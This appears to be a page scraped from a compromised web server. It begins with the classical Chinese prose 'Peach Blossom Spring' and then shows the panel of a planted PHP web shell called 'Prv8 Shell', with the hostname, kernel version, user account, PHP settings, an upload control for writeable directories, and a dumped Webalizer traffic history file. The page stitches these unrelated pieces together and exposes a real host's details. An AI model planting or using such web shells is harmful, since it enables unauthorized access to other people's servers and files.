晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/tmp/webalizer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/tmp/webalizer/webalizer.hist
# Webalizer V2.23-08 History Data - 07/Jul/2025 12:44:42 (120 month)
7 2025 2332 231 93 6078 1 7 573 88
6 2025 10570 751 303 25806 1 30 2542 330
5 2025 23436 680 317 11237 1 31 5584 405
4 2025 16245 684 315 9874 1 30 3892 380
3 2025 4478 312 167 2660 1 31 1271 215
2 2025 6254 420 231 5396 1 28 1278 251
1 2025 3505 305 212 466 1 31 1067 245
12 2024 2764 332 207 1537 1 31 1142 235
11 2024 3014 302 202 721 1 30 1223 241
10 2024 6312 324 226 932 2 31 2070 222
9 2024 3234 425 188 11222 1 30 908 197
8 2024 4258 375 234 6996 1 31 1427 206
7 2024 1039 223 217 1340 1 31 411 171
6 2024 2311 216 178 915 2 30 410 136
5 2024 1224 472 236 1318 1 20 500 314
4 2024 2282 583 312 297561 1 30 515 267
3 2024 1132 402 309 23816 1 31 455 250
2 2024 3204 963 309 47013 1 29 911 259
1 2024 4111 604 353 5291 1 31 1321 274
12 2023 1340 616 297 142172 1 31 670 260
11 2023 2475 597 546 97638 1 30 874 310
10 2023 1448 185 353 14246 1 31 540 327
9 2023 1250 10 385 823 1 30 586 367
8 2023 1765 20 360 1196 1 31 584 373
7 2023 1305 11 298 898 1 31 659 318
6 2023 1126 14 321 771 1 30 629 344
5 2023 1369 9 356 921 1 31 415 302
4 2023 1412 17 463 948 1 30 478 342
3 2023 813 9 203 537 1 31 329 220
2 2023 1685 16 265 1130 1 28 549 347
1 2023 3313 24 308 2251 1 31 973 651
12 2022 3018 18 258 2047 1 31 1150 832
11 2022 1495 7 229 1006 1 30 655 389
10 2022 1203 17 252 799 1 31 643 357
9 2022 898 5 177 600 1 30 604 218
8 2022 615 12 172 420 1 31 329 205
7 2022 866 2 176 584 1 31 356 187
6 2022 622 14 196 426 1 30 327 160
5 2022 867 9 220 594 1 31 385 174
4 2022 869 181 252 480 1 30 271 136
3 2022 580 7 146 340 1 31 309 135
2 2022 682 12 174 449 1 28 423 148
1 2022 841 6 215 575 1 31 551 177
12 2021 1421 184 269 849 1 31 740 211
11 2021 1233 9 282 846 1 30 749 260
10 2021 1470 137 300 933 1 31 834 245
9 2021 946 53 290 1049 1 30 542 214
8 2021 740 9 328 511 1 31 304 213
7 2021 538 15 268 366 1 31 231 176
6 2021 680 10 324 457 1 30 218 176
5 2021 802 13 391 550 1 31 328 248
4 2021 464 6 240 321 1 30 215 173
3 2021 536 18 265 370 1 31 200 169
2 2021 775 9 203 537 1 28 327 253
1 2021 589 11 172 402 1 31 208 153
12 2020 312 6 139 220 1 31 166 123
11 2020 288 12 123 203 1 30 169 119
10 2020 365 9 137 265 1 31 161 129
9 2020 208 17 98 134 1 30 103 92
8 2020 179 2 77 123 1 31 98 76
7 2020 153 19 72 96 13 31 90 75
6 2020 0 0 0 0 0 0 0 0
5 2020 0 0 0 0 0 0 0 0
4 2020 0 0 0 0 0 0 0 0
3 2020 0 0 0 0 0 0 0 0
2 2020 0 0 0 0 0 0 0 0
1 2020 0 0 0 0 0 0 0 0
12 2019 0 0 0 0 0 0 0 0
11 2019 0 0 0 0 0 0 0 0
10 2019 0 0 0 0 0 0 0 0
9 2019 0 0 0 0 0 0 0 0
8 2019 0 0 0 0 0 0 0 0
7 2019 0 0 0 0 0 0 0 0
6 2019 0 0 0 0 0 0 0 0
5 2019 0 0 0 0 0 0 0 0
4 2019 0 0 0 0 0 0 0 0
3 2019 0 0 0 0 0 0 0 0
2 2019 0 0 0 0 0 0 0 0
1 2019 0 0 0 0 0 0 0 0
12 2018 0 0 0 0 0 0 0 0
11 2018 0 0 0 0 0 0 0 0
10 2018 0 0 0 0 0 0 0 0
9 2018 0 0 0 0 0 0 0 0
8 2018 0 0 0 0 0 0 0 0
7 2018 0 0 0 0 0 0 0 0
6 2018 0 0 0 0 0 0 0 0
5 2018 0 0 0 0 0 0 0 0
4 2018 0 0 0 0 0 0 0 0
3 2018 0 0 0 0 0 0 0 0
2 2018 0 0 0 0 0 0 0 0
1 2018 0 0 0 0 0 0 0 0
12 2017 0 0 0 0 0 0 0 0
11 2017 0 0 0 0 0 0 0 0
10 2017 0 0 0 0 0 0 0 0
9 2017 0 0 0 0 0 0 0 0
8 2017 0 0 0 0 0 0 0 0
7 2017 0 0 0 0 0 0 0 0
6 2017 0 0 0 0 0 0 0 0
5 2017 0 0 0 0 0 0 0 0
4 2017 0 0 0 0 0 0 0 0
3 2017 0 0 0 0 0 0 0 0
2 2017 0 0 0 0 0 0 0 0
1 2017 0 0 0 0 0 0 0 0
12 2016 0 0 0 0 0 0 0 0
11 2016 0 0 0 0 0 0 0 0
10 2016 0 0 0 0 0 0 0 0
9 2016 0 0 0 0 0 0 0 0
8 2016 0 0 0 0 0 0 0 0
7 2016 0 0 0 0 0 0 0 0
6 2016 0 0 0 0 0 0 0 0
5 2016 0 0 0 0 0 0 0 0
4 2016 0 0 0 0 0 0 0 0
3 2016 0 0 0 0 0 0 0 0
2 2016 0 0 0 0 0 0 0 0
1 2016 0 0 0 0 0 0 0 0
12 2015 0 0 0 0 0 0 0 0
11 2015 0 0 0 0 0 0 0 0
10 2015 0 0 0 0 0 0 0 0
9 2015 0 0 0 0 0 0 0 0
8 2015 0 0 0 0 0 0 0 0

haha - 2025